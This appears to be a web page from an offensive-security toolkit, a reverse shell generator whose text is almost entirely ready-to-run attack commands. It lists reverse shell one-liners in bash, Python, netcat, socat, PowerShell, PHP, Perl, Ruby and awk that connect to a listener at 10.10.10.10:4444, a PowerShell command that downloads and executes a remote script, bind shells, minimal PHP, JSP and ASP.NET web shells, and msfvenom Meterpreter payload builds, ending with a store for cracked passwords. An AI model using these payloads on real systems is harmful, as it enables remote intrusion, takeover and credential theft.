Back to Vault

Reverse Shell Generator

Instant Reverse & Bind Shells

Listener Configuration

Values sync globally with the Command Vault

LHOST
LPORT

Bash - IPv4

Reverse ShellLinux
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Bash - IPv4 (Alternate)

Reverse ShellLinux
0<&196;exec 196<>/dev/tcp/10.10.10.10/4444; sh <&196 >&196 2>&196

Python 3 - IPv4

Reverse ShellAll
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Netcat - Traditional

Reverse ShellLinux
nc -e /bin/sh 10.10.10.10 4444

Netcat - mkfifo

Reverse ShellLinux
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

Socat - IPv4

Reverse ShellLinux
socat TCP:10.10.10.10:4444 EXEC:sh,pty,stderr,setsid,sigint,sane

PowerShell - TCP

Reverse ShellWindows
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

PowerShell - IEX Download

Reverse ShellWindows
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10:4444/invoke.ps1')"

PHP - IPv4

Reverse ShellAll
php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl - IPv4

Reverse ShellAll
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby - IPv4

Reverse ShellAll
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Awk - IPv4

Reverse ShellLinux
awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell> " |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Netcat - Bind Shell

Bind ShellLinux
nc -lvnp 4444 -e /bin/sh

Socat - Bind Shell

Bind ShellLinux
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane

Python - Bind Shell

Bind ShellAll
python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",4444));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

PowerShell - Bind Shell

Bind ShellWindows
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"

PHP Basic RCE

Web ShellAll
<?php system($_GET['cmd']); ?>

JSP Basic RCE

Web ShellAll
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP.NET Basic

Web ShellWindows
<%@ Page Language="C#" Debug="true" trace="false" %><% System.Diagnostics.Process.Start(Request.QueryString["cmd"]); %>

Windows TCP Reverse (Staged)

MSFVenomWindows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

Windows TCP Reverse (Stageless)

MSFVenomWindows
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe

Linux TCP Reverse

MSFVenomLinux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf

Python Meterpreter

MSFVenomAll
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py

Java WAR Payload

MSFVenomAll
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war

Windows PowerShell Payload

MSFVenomWindows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-cmd -o shell.bat

PHP Meterpreter (Raw)

MSFVenomAll
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw > shell.php

PHP Reverse TCP (Raw)

MSFVenomAll
msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=4444 -f raw > shell.php

Loot & Credentials

Store passwords and hashes globally

No loot added yet.
Save cracked passwords here.